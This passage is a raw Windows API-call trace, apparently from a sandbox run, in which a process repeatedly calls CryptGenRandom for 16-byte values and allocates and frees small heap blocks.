hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.535] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36646c4 | out: pbBuffer=0x36646c4) returned 1 [0146.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0146.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.539] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664624 | out: pbBuffer=0x3664624) returned 1 [0146.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.543] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664494 | out: pbBuffer=0x3664494) returned 1 [0146.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0146.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.547] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36644bc | out: pbBuffer=0x36644bc) returned 1 [0146.550] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366405c | out: pbBuffer=0x366405c) returned 1 [0146.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0146.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.554] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36645d4 | out: pbBuffer=0x36645d4) returned 1 [0146.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.558] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664674 | out: pbBuffer=0x3664674) returned 1 [0146.561] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36643a4 | out: pbBuffer=0x36643a4) returned 1 [0146.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0146.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664214 | out: pbBuffer=0x3664214) returned 1 [0146.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0146.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.569] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0146.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.573] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366491c | out: pbBuffer=0x366491c) returned 1 [0146.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.580] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0146.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0146.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.584] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b24 | out: pbBuffer=0x3664b24) returned 1 [0146.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0146.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.595] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36647dc | out: pbBuffer=0x36647dc) returned 1 [0146.599] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664bc4 | out: pbBuffer=0x3664bc4) returned 1 [0146.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0146.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.602] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664d2c | out: pbBuffer=0x3664d2c) returned 1 [0146.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0146.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.606] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f34 | out: pbBuffer=0x3664f34) returned 1 [0146.610] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641c4 | out: pbBuffer=0x36641c4) returned 1 [0146.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0146.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028378 [0146.614] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664e94 | out: pbBuffer=0x3664e94) returned 1 [0146.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0146.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.618] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0146.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.642] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36648a4 | out: pbBuffer=0x36648a4) returned 1 [0146.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0146.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0146.647] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b9c | out: pbBuffer=0x3664b9c) returned 1 [0146.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.651] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0146.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0146.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.656] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0146.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5aa0 [0146.660] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0146.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.664] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664994 | out: pbBuffer=0x3664994) returned 1 [0146.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.669] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ee4 | out: pbBuffer=0x3664ee4) returned 1 [0146.672] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b4c | out: pbBuffer=0x3664b4c) returned 1 [0146.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0146.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0146.676] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664df4 | out: pbBuffer=0x3664df4) returned 1 [0146.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0146.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.680] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0146.684] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366441c | out: pbBuffer=0x366441c) returned 1 [0146.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0146.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5d20 [0146.687] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0146.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0146.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.691] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366823c | out: pbBuffer=0x366823c) returned 1 [0146.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.694] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366832c | out: pbBuffer=0x366832c) returned 1 [0146.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0146.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0146.698] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0146.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0146.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.702] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0146.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.706] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0146.709] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d2c | out: pbBuffer=0x3668d2c) returned 1 [0146.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0146.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5c80 [0146.713] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0146.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0146.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.717] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680fc | out: pbBuffer=0x36680fc) returned 1 [0146.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.720] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bc4 | out: pbBuffer=0x3668bc4) returned 1 [0146.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b68 [0146.724] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0146.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0146.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.729] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0146.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0146.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.733] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0146.737] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668aac | out: pbBuffer=0x3668aac) returned 1 [0146.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0146.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5a50 [0146.740] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0146.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0146.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.745] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0146.748] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0146.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0146.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.753] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0146.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.756] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0146.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.766] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0146.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0146.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.770] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0146.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0146.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.775] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668674 | out: pbBuffer=0x3668674) returned 1 [0146.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.778] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0146.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0146.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.782] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0146.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0146.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.785] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cb4 | out: pbBuffer=0x3668cb4) returned 1 [0146.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0146.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.789] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0146.794] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b804 | out: pbBuffer=0x366b804) returned 1 [0146.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0146.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.800] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bd7c | out: pbBuffer=0x366bd7c) returned 1 [0146.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0146.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.805] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366be6c | out: pbBuffer=0x366be6c) returned 1 [0146.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.809] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba84 | out: pbBuffer=0x366ba84) returned 1 [0146.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0146.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.813] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366be44 | out: pbBuffer=0x366be44) returned 1 [0146.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0146.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.817] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b91c | out: pbBuffer=0x366b91c) returned 1 [0146.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.821] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bf34 | out: pbBuffer=0x366bf34) returned 1 [0146.824] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc3c | out: pbBuffer=0x366bc3c) returned 1 [0146.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, 